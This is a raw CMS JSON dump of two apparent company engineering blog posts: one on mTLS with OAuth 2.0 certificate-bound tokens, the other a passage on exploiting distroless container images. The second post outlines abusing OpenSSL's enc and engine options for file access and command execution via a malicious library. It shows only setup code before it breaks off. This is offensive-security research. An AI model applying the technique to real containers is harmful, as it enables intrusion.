ACLs",[8713],{"start":17,"end":1346,"type":744,"data":8714},{"link_type":453,"url":8715,"target":456},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fvpc\u002Flatest\u002Fuserguide\u002Fvpc-network-acls.html","rich_text$4302df4a-3a06-4ff6-bdf2-3ad60e53f35a",{"id":8718,"uid":8719,"url":8720,"type":406,"href":8721,"tags":8722,"first_publication_date":7737,"last_publication_date":8723,"slugs":8724,"linked_documents":8725,"lang":386,"alternate_languages":8726,"data":8727},"alz09xEAACsAUWcr","buckle-up-your-mtls-with-oauth-2-0-client-authentication","\u002Fresources\u002Fengineering-blog\u002Fbuckle-up-your-mtls-with-oauth-2-0-client-authentication","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz09xEAACsAUWcr%22%29+%5D%5D",[],"2026-08-27T22:06:59+0000",[2167],[],[],{"title":8728,"excerpt":8729,"card_image":8730,"published_date":8735,"reading_time":1411,"tag":427,"dek":13,"featured_image":8736,"about_form3":8737,"client_about_heading":13,"client_about_body":8738,"author_name":13,"author_title":13,"author_photo":8739,"author_bio":8740,"author_linkedin":8741,"slices":8742,"meta_title":8728,"meta_description":8729},"Buckle Up Your mTLS With OAuth 2.0 Client Authentication and Certificate-Bound Access","Application security is a persistent hot topic in the technology industry. It is quite common to use mTLS in a business-to-business application, where security is incredibly important, and which uses the zero trust security model. mTLS is also popular with microservices and service mesh to ensure that sensitive resources are not accessible to unauthorised services in the network. mTLS is a transport layer authentication protocol. In this article, Milap Neupane explains: the basics of the mTLS and OAuth 2.0 protocol, the potential drawbacks with mTLS and how OAuth 2.0 Client Authentication and Certificate-Bound Access help improve security.",{"dimensions":8731,"alt":8728,"copyright":13,"url":8732,"id":8733,"edit":8734},{"width":420,"height":420},"\u002F_prismic-media\u002Fe74b8ea157aefba9-Ws0dd2BlPXS7tViJ_buckle-up-your-mtls-with-oauth-.png","Ws0dd2BlPXS7tViJ",{"x":17,"y":17,"zoom":18,"background":19},"2022-10-13",{},[],[],{},[],{"link_type":487},[8743,8804,8819,8841,8864,8885,8928,8950,8958,8980,8988,9001,9009,9017,9025,9040,9048],{"variation":459,"version":460,"items":8744,"primary":8745,"id":8803,"slice_type":479,"slice_label":13},[],{"body":8746},[8747,8749,8759,8762,8765,8768,8771,8774,8777,8780,8786,8791,8797],{"type":1097,"text":2208,"spans":8748,"direction":4053},[],{"type":396,"text":8750,"spans":8751,"direction":4053},"Application security is a persistent hot topic in the technology industry. It is quite common to use mTLS in a business-to-business application, where security is incredibly important, and which uses the zero trust security model. mTLS is also popular with microservices and service mesh to ensure that sensitive resources are not accessible to unauthorised services in the network. mTLS is a transport layer authentication protocol.",[8752,8755],{"start":5380,"end":4004,"type":744,"data":8753},{"link_type":453,"url":8754,"target":456},"https:\u002F\u002Fwww.cloudflare.com\u002Fen-gb\u002Flearning\u002Faccess-management\u002Fwhat-is-mutual-tls\u002F",{"start":2357,"end":8756,"type":744,"data":8757},229,{"link_type":453,"url":8758,"target":456},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FZero_trust_security_model",{"type":396,"text":8760,"spans":8761,"direction":4053},"Working and integrating with highly secured applications I discovered about an additional layer of security on top of mTLS that would make the application truly following zero trust security model. Extending mTLS with OAuth 2.0 Client Authentication improves security for all requests.",[],{"type":396,"text":8763,"spans":8764,"direction":4053},"In this article I will be explaining:",[],{"type":1101,"text":8766,"spans":8767,"direction":4053},"Some of the basics of the mTLS and OAuth 2.0 protocol",[],{"type":1101,"text":8769,"spans":8770,"direction":4053},"What are the potential drawbacks with mTLS",[],{"type":1101,"text":8772,"spans":8773,"direction":4053},"How OAuth 2.0 Client Authentication and Certificate-Bound Access helps improve security.",[],{"type":396,"text":8775,"spans":8776,"direction":4053},"After explaining the topics above I will be illustrating how OAuth 2.0 Client Authentication works with mTLS.",[],{"type":396,"text":8778,"spans":8779,"direction":4053},"Prerequisite knowledge of these topics is not required, but is helpful when you are reading this article:",[],{"type":1101,"text":8781,"spans":8782,"direction":4053},"OAuth 2.0",[8783],{"start":17,"end":2380,"type":744,"data":8784},{"link_type":453,"url":8785,"target":456},"https:\u002F\u002Foauth.net\u002F2\u002F",{"type":1101,"text":8787,"spans":8788,"direction":4053},"Mutual Transport Layer Security(mTLS)",[8789],{"start":17,"end":475,"type":744,"data":8790},{"link_type":453,"url":8754,"target":456},{"type":1101,"text":8792,"spans":8793,"direction":4053},"JSON Web Token(JWT)",[8794],{"start":17,"end":2369,"type":744,"data":8795},{"link_type":453,"url":8796,"target":456},"https:\u002F\u002Fjwt.io\u002Fintroduction",{"type":1101,"text":8798,"spans":8799,"direction":4053},"JSON Web Key(JWK)",[8800],{"start":17,"end":967,"type":744,"data":8801},{"link_type":453,"url":8802,"target":456},"https:\u002F\u002Fopenid.net\u002Fspecs\u002Fdraft-jones-json-web-key-03.html","rich_text$1850c6fb-800b-40f4-8c51-f5d514a7c963",{"variation":459,"version":460,"items":8805,"primary":8806,"id":8818,"slice_type":479,"slice_label":13},[],{"body":8807},[8808,8811,8815],{"type":1097,"text":8809,"spans":8810,"direction":4053},"Introduction to mTLS and OAuth 2.0",[],{"type":396,"text":8812,"spans":8813,"direction":4053},"mTLS",[8814],{"start":17,"end":667,"type":477},{"type":396,"text":8816,"spans":8817,"direction":4053},"Mutual Transport Layer Security (mTLS) is a transport layer encryption protocol that authenticates both the client and server in a client-server connection, unlike TLS where only the server is authenticated. It not only authenticates the request but also encrypts the communication so that no third party can intercept the request and read the information from the request.",[],"rich_text$de80eda9-2c49-4ffa-9f10-9d9a31362cff",{"variation":459,"version":481,"items":8820,"primary":8821,"id":8840,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":8822,"body":8823,"cta_label":13,"cta_link":8827,"aside_type":488,"aside_image":8828,"aside_video":8835,"aside_video_poster":8836,"aside_video_reduced_motion":8837,"aside_video_url":13,"aside_embed":8838,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":8839,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[8824],{"type":396,"text":8825,"spans":8826,"direction":4053},"In a TLS request the server has a certificate, private key, and a public key but the client does not. In case of mTLS both client and server have a certificate and the public\u002Fprivate key. Like the server, the client would also present its TLS certificate and the server would verify the certificate to grants the access.",[],{"link_type":487},{"dimensions":8829,"alt":13,"copyright":13,"url":8832,"id":8833,"edit":8834},{"width":8830,"height":8831},1553,405,"\u002F_prismic-media\u002Ffca10b16e33eca77-hzn2oqoElGFam8aF_cc1e4474-f96a-43bd-b40e-6eb6941.png","hzn2oqoElGFam8aF",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$104fa25f-97b0-42ac-a622-68e2b4770f37",{"variation":459,"version":460,"items":8842,"primary":8843,"id":8863,"slice_type":479,"slice_label":13},[],{"body":8844},[8845,8848,8851,8855,8859],{"type":396,"text":8781,"spans":8846,"direction":4053},[8847],{"start":17,"end":2380,"type":477},{"type":396,"text":8849,"spans":8850,"direction":4053},"OAuth 2.0 is an authorization framework that enables third party applications to obtain delegated access to protected resources. OAuth 2.0 protocol has three entities involved:",[],{"type":582,"text":8852,"spans":8853,"direction":4053},"Authorization server - responsible to authorize the request and grant access token",[8854],{"start":17,"end":3298,"type":477},{"type":582,"text":8856,"spans":8857,"direction":4053},"Resource server - owns and can provide the protected resource",[8858],{"start":17,"end":2000,"type":477},{"type":582,"text":8860,"spans":8861,"direction":4053},"Client - application that wants to obtain the protected resource",[8862],{"start":17,"end":3400,"type":477},"rich_text$14f62de5-17ed-403b-a718-6f50b4aba083",{"variation":459,"version":481,"items":8865,"primary":8866,"id":8884,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":8867,"body":8868,"cta_label":13,"cta_link":8872,"aside_type":488,"aside_image":8873,"aside_video":8879,"aside_video_poster":8880,"aside_video_reduced_motion":8881,"aside_video_url":13,"aside_embed":8882,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":8883,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[8869],{"type":396,"text":8870,"spans":8871,"direction":4053},"The client application communicates with the authorization server to get an access token. The Authorization server validates the request and provides the token. The client can now use this token to request a protected resource from the resource server. The resource server can validate the token locally or in some case requests the authorization server to determine the state of the token and validate the request. Once validated the client is granted with the resource.",[],{"link_type":487},{"dimensions":8874,"alt":13,"copyright":13,"url":8876,"id":8877,"edit":8878},{"width":8875,"height":2632},1830,"\u002F_prismic-media\u002Fdbbc025f1eaf6050-iAd_AYIuY5EP4CNQ_f9009d5c-052e-4a17-a882-20f893f.png","iAd_AYIuY5EP4CNQ",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$1297dc0a-e926-4725-bf93-7306439d4cd8",{"variation":459,"version":460,"items":8886,"primary":8887,"id":8927,"slice_type":479,"slice_label":13},[],{"body":8888},[8889,8892,8907,8910,8916,8919,8923],{"type":1097,"text":8890,"spans":8891,"direction":4053},"Why use OAuth 2.0 with mTLS",[],{"type":396,"text":8893,"spans":8894,"direction":4053},"mTLS is a highly secure transport layer protocol that protects from the attacks like request smuggling, brute force attacks, phishing attacks, and credential stuffing. Since it only provides a transport layer authentication, all the requests sent over the channel is then implicitly granted access assuming the origination is from the authentic client. This opens the possibility for the attackers to inject requests pretending to be from a legitimate client.",[8895,8898,8901,8904],{"start":1406,"end":900,"type":744,"data":8896},{"link_type":453,"url":8897,"target":456},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Frequest-smuggling",{"start":1531,"end":4365,"type":744,"data":8899},{"link_type":453,"url":8900,"target":456},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FBrute-force_attack",{"start":973,"end":3945,"type":744,"data":8902},{"link_type":453,"url":8903,"target":456},"https:\u002F\u002Fwww.ncsc.gov.uk\u002Fguidance\u002Fphishing",{"start":2830,"end":2537,"type":744,"data":8905},{"link_type":453,"url":8906,"target":456},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002FCredential_stuffing",{"type":396,"text":8908,"spans":8909,"direction":4053},"In case of a misconfigured server where the server is not configured properly to require a client certificate, the client will not be asked for a certificate and the request will be served silently unauthenticated.",[],{"type":396,"text":8911,"spans":8912,"direction":4053},"IETF RFC describes OAuth 2.0 client authentication and certificate-bound access using mutual TLS. Mutual-TLS certificate-bound access tokens ensure that only the party in possession of the private key corresponding to the certificate can utilize the token to access the associated resources. Binding an access token to the client's certificate prevents the use of stolen access tokens or replay of access tokens by unauthorized parties.",[8913],{"start":17,"end":4811,"type":744,"data":8914},{"link_type":453,"url":8915,"target":456},"https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8705",{"type":396,"text":8917,"spans":8918,"direction":4053},"The specification describes two distinct complementary mechanisms:",[],{"type":1101,"text":8920,"spans":8921,"direction":4053},"Mutual-TLS client authentication - To utilize TLS for OAuth 2.0 client authentication, the TLS connection between the client and the authorization server MUST have been established or re-established with mutual-TLS X.509 certificate authentication. The client must include \"client_id\" parameter while requesting the authorization server. This enables the server to identify the client independent of the content of the certificate.",[8922],{"start":17,"end":515,"type":477},{"type":1101,"text":8924,"spans":8925,"direction":4053},"Mutual-TLS certificate-bound access tokens - Mutual TLS client authentication requires you to create a connection using mTLS, to access the token from the authorization server. This only ensures that the access to the auth token is verified using mTLS. Which is, just mTLS and has the same issue that we talked earlier about not having the auth for each request. The second mechanism to use mTLS with certificate bound access token is what we can do to protect from the attacks. The mTLS client authentication can be used together with certificate bound access token to complement it.",[8926],{"start":17,"end":773,"type":477},"rich_text$451a08de-6178-4031-9271-ff4269ab0fa3",{"variation":459,"version":460,"items":8929,"primary":8930,"id":8949,"slice_type":479,"slice_label":13},[],{"body":8931},[8932,8935,8938,8942],{"type":1097,"text":8933,"spans":8934,"direction":4053},"Mutual-TLS certificate-bound access tokens",[],{"type":396,"text":8936,"spans":8937,"direction":4053},"In this section we will look deeper into how mTLS certificate-bound access token works. When a client requests a token from the authorization server using mutual TLS, the server can bind the issued access token to the client certificate. The certificate binding is possible either by embedding the certificate hash as a part of the issued token or through token introspection. The access token can be used at the application layer passed as a HTTP header by the client. This makes sure that each request is protected.",[],{"type":396,"text":8939,"spans":8940,"direction":4053},"JWT Certificate Thumbprint Confirmation Method",[8941],{"start":17,"end":589,"type":477},{"type":396,"text":8943,"spans":8944,"direction":4053},"If the access token is represented as a JSON Web Token, this method can be used to associate the token with the certificate. The JWT would include base64url encoded SHA-256 hash of the X.509 Certificate. The JWT contains cnf confirmation method claim. It has x5t#S256 as a confirmation method member that contains the value of the base64url-encoded SHA-256 hash of the X.509 Certificate. The base64url-encoded value must omit all trailing pad '=' characters and must not include any line breaks, whitespace, or other additional characters. An example token would look like this:",[8945,8946],{"start":3024,"end":7009,"type":780},{"start":8947,"end":8948,"type":780},259,267,"rich_text$6a15b9e2-8703-4cf0-931b-b65cdeaa6a78",{"variation":459,"version":460,"items":8951,"primary":8952,"id":8957,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":8953},[8954],{"type":563,"text":8955,"spans":8956},"{\n\n  \"iss\": \"https:\u002F\u002Fserver.example.com\",\n\n  \"sub\": \"ty.webb@example.com\",\n\n  \"exp\": 1661605509,\n\n  \"nbf\": 1661609109,\n\n  \"cnf\":{\n\n    \"x5t#S256\": \"bwcK0esc3ACC3DB2Y5_lESsXE8o9ltc05O89jdN-dg2\"\n\n  }\n\n}",[],"code_block$f66da6fd-e752-4c05-b48d-ec3d67f05cd6",{"variation":459,"version":460,"items":8959,"primary":8960,"id":8979,"slice_type":479,"slice_label":13},[],{"body":8961},[8962,8969,8972,8976],{"type":396,"text":8963,"spans":8964},"JWT token example take from rfc8705",[8965,8966],{"start":17,"end":1372,"type":780},{"start":1071,"end":1372,"type":744,"data":8967},{"link_type":453,"url":8968,"target":456},"https:\u002F\u002Fwww.rfc-editor.org\u002Frfc\u002Frfc8705.html#name-example-jwt-claims-set-wit",{"type":396,"text":8970,"spans":8971},"Let us also look at some sample code on how you can generate the token using Golang.",[],{"type":396,"text":8973,"spans":8974},"Note: The code below is just for guidance and is not a working example",[8975],{"start":17,"end":7824,"type":780},{"type":582,"text":8977,"spans":8978},"Parse the certificate provided by the server:",[],"rich_text$082d5957-a9cf-484b-a92e-6aaa96732576",{"variation":459,"version":460,"items":8981,"primary":8982,"id":8987,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":8983},[8984],{"type":563,"text":8985,"spans":8986},"import (\n\n    \"crypto\u002Fsha256\"\n\n    \"crypto\u002Fx509\"\n\n  )\n  \u002F\u002F You can read the certificate from a file and decode it\n  var cert = \"\u002Fcert.crt\"\n  r, _ := ioutil.ReadFile(cert)\n  block, _ := pem.Decode(r)\n\n  parsedCert, err := x509.ParseCertificate(block.Bytes)",[],"code_block$f6f847bb-c86a-4090-980f-2a04ec4dc58f",{"variation":459,"version":460,"items":8989,"primary":8990,"id":9000,"slice_type":479,"slice_label":13},[],{"body":8991},[8992,8996],{"type":396,"text":8993,"spans":8994},"Note: I skipped error handling above, as it is a sample code. Do not forget to handle error in your production code",[8995],{"start":17,"end":3247,"type":780},{"type":582,"text":8997,"spans":8998},"Generate the x5t#S256 as base64url encoded SHA-256 of the certificate",[8999],{"start":1403,"end":706,"type":780},"rich_text$5a917a04-5b71-47b6-98d6-f5cd9a6cd06a",{"variation":459,"version":460,"items":9002,"primary":9003,"id":9008,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9004},[9005],{"type":563,"text":9006,"spans":9007},"newSha := sha256.New()\n\n  newSha.Write(parsedCert.Raw)\n\n  encoded := hex.EncodeToString(newSha.Sum(nil))\n\n  data, err := hex.DecodeString(encoded)\n\n  encodedx5t := base64.URLEncoding.EncodeToString(data)\n\n  encodedx5t = strings.TrimRight(encodedx5t, \"=\")\n\n  fmt.Println(encodedx5t)",[],"code_block$a093bf78-9c06-4514-abf5-81c7fea25b8b",{"variation":459,"version":460,"items":9010,"primary":9011,"id":9016,"slice_type":479,"slice_label":13},[],{"body":9012},[9013],{"type":582,"text":9014,"spans":9015},"Generate and sign the token",[],"rich_text$f1cd45f4-0f66-4213-ae43-e211d13450bb",{"variation":459,"version":460,"items":9018,"primary":9019,"id":9024,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9020},[9021],{"type":563,"text":9022,"spans":9023},"token, _ := jwt.NewBuilder().\n\n  Issuer(\"issuer\").\n\n  IssuedAt(time.Now()).\n\n  Expiration(time.Now().Add(900 * time.Second)).\n\n  NotBefore(time.Now().Add(800 * time.Second))\n\n  Subject(\"subject\").\n\n  Audience([]string{\"audience\"}).\n\n  Claim(\"cnf\", \"{\\\"x5t#S256\\\":\\\"\u003Cencodedx5t>\\\"}\").\n\n  Build()\n\n  signed, _ := jwt.Sign(token, jwt.WithKey(jwa.RS256, \"\u003CprivateKey>\"))",[],"code_block$63513d4c-d562-44d9-b11d-5c39e78ac0fa",{"variation":459,"version":460,"items":9026,"primary":9027,"id":9039,"slice_type":479,"slice_label":13},[],{"body":9028},[9029,9033,9036],{"type":396,"text":9030,"spans":9031},"Confirmation Method for Token Introspection",[9032],{"start":17,"end":6708,"type":477},{"type":396,"text":9034,"spans":9035},"OAuth 2.0 token Introspection method enables the protected resource to query and authorization server about the state of the access token. It also helps provide metadata about the token which includes the base64url encoded SHA-256 hash of the certificate. The encoded hash is provided as a response to the protected resources in the same format as the JWT thumbprint uses. The encoded certificate is present in the cnf claim in the x5t#S256 member structure. The protected resource will be able to compare the client certificate used for mTLS to the certificate hash in the response and rejects the request if they do not match.",[],{"type":396,"text":9037,"spans":9038},"A response from the authorization server when requesting the state of the access token would look like this:",[],"rich_text$0c3cdc8f-ac35-4b2f-896e-abae74093758",{"variation":459,"version":460,"items":9041,"primary":9042,"id":9047,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9043},[9044],{"type":563,"text":9045,"spans":9046},"HTTP\u002F1.1 200 OK\n\nContent-Type: application\u002Fjson\n\n{\n\n  \"active\": true,\n\n  \"iss\": \"https:\u002F\u002Fserver.example.com\",\n\n  \"sub\": \"ty.webb@example.com\",\n\n  \"exp\": 1661605509,\n\n  \"nbf\": 1661609109,\n\n  \"cnf\":{\n\n    \"x5t#S256\": \"bwcK0esc3ACC3DB2Y5_lESsXE8o9ltc05O89jdN-dg2\"\n\n  }\n\n}",[],"code_block$ae31b0b4-ad52-48a7-ae86-b34b35d1cf18",{"variation":459,"version":460,"items":9049,"primary":9050,"id":9060,"slice_type":479,"slice_label":13},[],{"body":9051},[9052,9054],{"type":1097,"text":982,"spans":9053,"direction":4053},[],{"type":396,"text":9055,"spans":9056,"direction":4053},"mTLS is a transport layer protocol that authenticates both client and server. OAuth 2.0 is an authorization framework to delegate access to resources. OAuth 2.0 Client Authentication and certificate bound access is a rigorous way to secure your mTLS connection. mTLS is a transport layer protocol and does not protect the application layer. OAuth 2.0 Client Authentication and certificate bound access solves the problem by making sure that only the party in possession of the private key corresponding to the certificate can utilize the token to access the associated resources. Either by using JWT certificate thumbprint or by using confirmation method for token introspection you can validate if the cnf confirmation method claim matches with the client certificate used for mTLS to secure the application layer.",[9057],{"start":9058,"end":9059,"type":780},703,706,"rich_text$b3227369-b6fe-4b85-989c-2a9cccc473f0",{"id":9062,"uid":9063,"url":9064,"type":406,"href":9065,"tags":9066,"first_publication_date":7737,"last_publication_date":9067,"slugs":9068,"linked_documents":9070,"lang":386,"alternate_languages":9071,"data":9072},"alz0-hEAACcAUWc8","exploiting-distroless-images","\u002Fresources\u002Fengineering-blog\u002Fexploiting-distroless-images","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0-hEAACcAUWc8%22%29+%5D%5D",[],"2026-08-27T02:06:56+0000",[9069],"attack-surface",[],[],{"title":9073,"excerpt":9074,"card_image":9075,"published_date":9080,"reading_time":1411,"tag":427,"dek":13,"featured_image":9081,"about_form3":9087,"client_about_heading":13,"client_about_body":9088,"author_name":13,"author_title":13,"author_photo":9089,"author_bio":9090,"author_linkedin":9091,"slices":9092,"meta_title":9073,"meta_description":9098},"Exploiting Distroless Images","Daniel Teixeira, Lead of Offensive Security at Form3 discusses exploiting Distroless images, covering the topics of:Google Container Tools Distroless Base ImageAttack SurfaceAbusing OpenSSL functionalitiesAttack scenario",{"dimensions":9076,"alt":9073,"copyright":13,"url":9077,"id":9078,"edit":9079},{"width":420,"height":420},"\u002F_prismic-media\u002F51319b231f248e8c-FMXKO2VhsUl7gdfz_exploiting-distroless-images.pn","FMXKO2VhsUl7gdfz",{"x":17,"y":17,"zoom":18,"background":19},"2022-09-22",{"dimensions":9082,"alt":13,"copyright":13,"url":9084,"id":9085,"edit":9086},{"width":1270,"height":9083},627,"\u002F_prismic-media\u002F1b4de28b16647ee9-4-gdE9BP7wzX0tiE_18320338-ddef-42db-9370-81c25a5.png","4-gdE9BP7wzX0tiE",{"x":17,"y":17,"zoom":18,"background":19},[],[],{},[],{"link_type":487},[9093,9132,9163,9171,9182,9190,9204,9212,9221,9229,9237,9245,9253,9261,9269,9277,9285,9293,9301,9309,9326,9334,9355,9363,9372,9380,9388,9396,9409,9417,9430,9438,9456,9464,9473,9481,9499],{"variation":459,"version":460,"items":9094,"primary":9095,"id":9131,"slice_type":479,"slice_label":13},[],{"body":9096},[9097,9113,9116,9122,9125,9128],{"type":396,"text":9098,"spans":9099},"An abuse of functionality in the OpenSSL binary, installed in the official Google Container Tools Distroless Base container image, allows for command execution and arbitrary file read and write on distroless containers. By abusing the enc functionality in the OpenSSL binary it is possible to read and write to the filesystem using the -in and -out options and combining the write to the filesystem capability with the engine functionality that allows us to load shared libraries, it is possible to obtain command execution by uploading and loading malicious library.",[9100,9104,9106,9108],{"start":2427,"end":9101,"type":744,"data":9102},238,{"link_type":453,"url":9103,"target":456},"https:\u002F\u002Fwww.openssl.org\u002Fdocs\u002Fman1.1.1\u002Fman1\u002Fenc.html",{"start":6444,"end":9105,"type":780},339,{"start":9107,"end":6448,"type":780},344,{"start":9109,"end":9110,"type":744,"data":9111},419,425,{"link_type":453,"url":9112,"target":456},"https:\u002F\u002Fwww.openssl.org\u002Fdocs\u002Fman1.1.1\u002Fman1\u002Fengine.html",{"type":396,"text":9114,"spans":9115},"This post will cover:",[],{"type":1101,"text":9117,"spans":9118},"Google Container Tools Distroless Base Image",[9119],{"start":17,"end":2015,"type":744,"data":9120},{"link_type":453,"url":9121,"target":456},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless",{"type":1101,"text":9123,"spans":9124},"Attack Surface",[],{"type":1101,"text":9126,"spans":9127},"Abusing OpenSSL functionalities",[],{"type":1101,"text":9129,"spans":9130},"Attack scenario",[],"rich_text$df0562c4-53e0-4a87-94d8-8230425a3126",{"variation":459,"version":460,"items":9133,"primary":9134,"id":9162,"slice_type":479,"slice_label":13},[],{"body":9135},[9136,9138,9141,9144,9147,9151,9156],{"type":465,"text":9123,"spans":9137},[],{"type":396,"text":9139,"spans":9140},"Distroless images contain only the application and its runtime dependencies. They do not contain package managers, shells or any other programs you would expect to find in a standard Linux distribution. Without non-essential executables and libraries, distroless images are often recommended for their performance, size and security due to the reduced attack surface. However, as we will see not all distroless images are built the same.",[],{"type":396,"text":9142,"spans":9143},"Product URLs",[],{"type":1101,"text":9145,"spans":9146},"gcr.io\u002Fdistroless\u002Fbase",[],{"type":1101,"text":9121,"spans":9148},[9149],{"start":17,"end":598,"type":744,"data":9150},{"link_type":453,"url":9121},{"type":1101,"text":9152,"spans":9153},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Ftree\u002Fmain\u002Fbase",[9154],{"start":17,"end":1557,"type":744,"data":9155},{"link_type":453,"url":9152},{"type":396,"text":9157,"spans":9158},"The Distroless Base image (gcr.io\u002Fdistroless\u002Fbase) contains the OpenSSL package, installed by the following bazel script https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Fblob\u002Fmain\u002Fbase\u002Fbase.bzl",[9159],{"start":2069,"end":1425,"type":744,"data":9160},{"link_type":453,"url":9161},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Fblob\u002Fmain\u002Fbase\u002Fbase.bzl","rich_text$584f9205-1254-4917-b52f-de83806f69c4",{"variation":459,"version":460,"items":9164,"primary":9165,"id":9170,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9166},[9167],{"type":563,"text":9168,"spans":9169},"[...snip...]\n    container_image(\n        name = \"base_\" + user + \"_\" + arch + distro_suffix,\n        architecture = arch,\n        base = \":static_\" + user + \"_\" + arch + distro_suffix,\n        debs = [\n            DISTRO_PACKAGES[arch][distro_suffix][\"libc6\"],\n            DISTRO_PACKAGES[arch][distro_suffix][\"libssl1.1\"],\n            DISTRO_PACKAGES[arch][distro_suffix][\"openssl\"],\n        ],\n    )\n[...snip...]",[],"code_block$c7dde318-84ff-40c6-b22f-ff9856ab2074",{"variation":459,"version":460,"items":9172,"primary":9173,"id":9181,"slice_type":479,"slice_label":13},[],{"body":9174},[9175],{"type":396,"text":9176,"spans":9177},"The OpenSSL package installs two executable binaries the c_rehash and the openssl in the \u002Fusr\u002Fbin\u002F directory.",[9178,9179,9180],{"start":2638,"end":1557,"type":780},{"start":1405,"end":6501,"type":780},{"start":709,"end":2542,"type":780},"rich_text$0a704aea-5856-4f5d-aba9-289d8bb554fa",{"variation":459,"version":460,"items":9183,"primary":9184,"id":9189,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9185},[9186],{"type":563,"text":9187,"spans":9188},"# dpkg -L openssl | grep bin\u002F\n\u002Fusr\u002Fbin\u002Fc_rehash\n\u002Fusr\u002Fbin\u002Fopenssl",[],"code_block$fa97f853-d0f4-462b-b256-d3fa71b2d6c3",{"variation":459,"version":460,"items":9191,"primary":9192,"id":9203,"slice_type":479,"slice_label":13},[],{"body":9193},[9194,9196,9199],{"type":465,"text":9126,"spans":9195},[],{"type":396,"text":9197,"spans":9198},"To demonstrate the vulnerabilities we will use a docker container running a simple Golang application on a distroless base image.",[],{"type":396,"text":9200,"spans":9201},"main.go",[9202],{"start":17,"end":1411,"type":780},"rich_text$050291e9-3d6d-443d-a5c9-ff671cb8e477",{"variation":459,"version":460,"items":9205,"primary":9206,"id":9211,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":9207},[9208],{"type":563,"text":9209,"spans":9210},"package main\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\nfunc main() {\n\tfor {\n\t\tfmt.Println(\"Hello world!\")\n\t\ttime.Sleep(time.Second * 1)\n\t}\n}",[],"code_block$e2c6b2f3-5b34-4d04-9fe5-cb97f4aae65b",{"variation":459,"version":460,"items":9213,"primary":9214,"id":9220,"slice_type":479,"slice_label":13},[],{"body":9215},[9216],{"type":396,"text":9217,"spans":9218},"Dockerfile",[9219],{"start":17,"end":426,"type":780},"rich_text$98a3f02d-78e9-469b-8042-201c63f5a2e2",{"variation":459,"version":460,"items":9222,"primary":9223,"id":9228,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9224},[9225],{"type":563,"text":9226,"spans":9227},"FROM golang:1.18 as builder\n\nWORKDIR \u002Fgo\u002Fsrc\u002Fapp\nADD . \u002Fgo\u002Fsrc\u002Fapp\n\nRUN go get -d -v .\u002F...\n\nRUN go build -o \u002Fgo\u002Fbin\u002Fapp\n\nFROM gcr.io\u002Fdistroless\u002Fbase\nCOPY --from=builder \u002Fgo\u002Fbin\u002Fapp \u002F\nCMD [\"\u002Fapp\"]",[],"code_block$1f7626a0-e630-4986-b5f0-134e614b9b92",{"variation":459,"version":460,"items":9230,"primary":9231,"id":9236,"slice_type":479,"slice_label":13},[],{"body":9232},[9233],{"type":396,"text":9234,"spans":9235},"Building the docker image.",[],"rich_text$584ee53c-a632-474c-9af4-af11a109700c",{"variation":459,"version":460,"items":9238,"primary":9239,"id":9244,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9240},[9241],{"type":563,"text":9242,"spans":9243},"% docker build -t distroless-demo .\n[...snip...]",[],"code_block$53e28daf-2827-4c39-acb4-f28e5c52c10e",{"variation":459,"version":460,"items":9246,"primary":9247,"id":9252,"slice_type":479,"slice_label":13},[],{"body":9248},[9249],{"type":396,"text":9250,"spans":9251},"Running the container and verifying that the application is working as intended.",[],"rich_text$eaa8c83f-dd05-41b3-807a-5686deb8b2e5",{"variation":459,"version":460,"items":9254,"primary":9255,"id":9260,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9256},[9257],{"type":563,"text":9258,"spans":9259},"% docker run --name demo -d distroless-demo\nfad9d33c2a467cf92bdc3c011f9dfe9ecbf5f2ed7da5b8a6b2c82ea8b7511199\n% docker attach demo                           \nHello world!\nHello world!\nHello world!\nread escape sequence",[],"code_block$2b7617cb-fd76-40df-842e-e6ad692f9535",{"variation":459,"version":460,"items":9262,"primary":9263,"id":9268,"slice_type":479,"slice_label":13},[],{"body":9264},[9265],{"type":396,"text":9266,"spans":9267},"And as expected there is no shell available in the container.",[],"rich_text$03745c8e-0239-4ce3-bcac-61f848e1d737",{"variation":459,"version":460,"items":9270,"primary":9271,"id":9276,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9272},[9273],{"type":563,"text":9274,"spans":9275},"% docker exec -it demo 